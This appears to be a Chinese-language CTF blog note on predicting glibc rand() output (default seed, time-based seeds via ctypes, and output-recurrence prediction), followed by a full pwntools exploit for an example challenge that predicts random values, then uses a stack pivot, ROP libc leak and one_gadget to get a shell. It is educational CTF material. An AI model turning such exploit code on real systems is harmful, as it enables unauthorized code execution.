记录一下
有关Glibc标准库stdlib中rand函数的一些trick
未进行srand(seed)
See here,如果没有指定种子,则seed默认为1。
demo可以随手搓一个,此处略过。
srand(time(0))
如果网络质量没那么烂,可以在remote()
之后起一个int(time.time())
,配合ctypes.CDLL
调用对应libc库中的srand()
,随机数即可被绕过。
demo可以随手搓一个,这里给出一个python脚本模板。
CDLL之前用的时候出现过高版本不能用的问题,不过我目前找不到样本,如果您手里有相关样本或者您知道怎么解决这个问题,请联系我,谢谢。
1
2
3
4
5
|
from ctypes import CDLL
from time import time
clib=CDLL("libc.so.6")
clib.srand(int(time()))
print(clib.rand())
|
种子来自/dev/urandom
,且可以获得rand的执行结果
rand source code
paper
例题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
from pwn import *
import os
context(arch="amd64", os="linux", log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
r_list=[]
succ=0
trial=0
def menu(ch):
s.sendlineafter(b"]",ch)
def round(curr=1):
global succ
menu(b"y")
for i in range(5):
s.sendlineafter(b": ",str(curr).encode())
dat=s.recvline()
if b"win" in dat:
succ=1
success("win")
return
menu(b"6")
menu(b"y")
s.recvuntil(b"is ")
dat=s.recvline(keepends=False)
r_list.append(eval(b"0x"+dat))
menu(b"y")
if __name__=="__main__":
for i in range(40):
round()
while not succ:
assert trial<10
trial+=1
round(r_list[40-31]+r_list[40-3])
pivot=0x4014C6
frbp=0x4140E8+0x40
leave_ret=0x0000000000401378
rbp=0x000000000040125d
rdx=0x0000000000401543
rbx=0x0000000000401540
rsi=0x000000000040153d
add_magic=0x000000000040125c
s.sendline(b"a"*0x40+p64(frbp)+p64(pivot)+p64(leave_ret))
pause()
s.sendline(flat([
elf.got.read,elf.plt.puts,
rbp,0x414100,pivot,leave_ret,
0xdeadbeef,0xdeadbeef,0x4140e0+0x3d,
rbx,0x100000000-libc.sym._IO_2_1_stderr_+0x000000000002a6c5,add_magic,
rbp,0x4140e0-8,leave_ret,
]))
libc.address=u64(s.recvuntil(b"\x7f").ljust(8,b"\x00"))-libc.sym.read
assert libc.address&0xfff==0 and libc.address!=0
success(hex(libc.address))
info(str(s.proc.pid))
s.send(b"a"*0x48+flat([
rsi,0,
rdx,0,
libc.address+0xeacf2,
]))
s.interactive()
|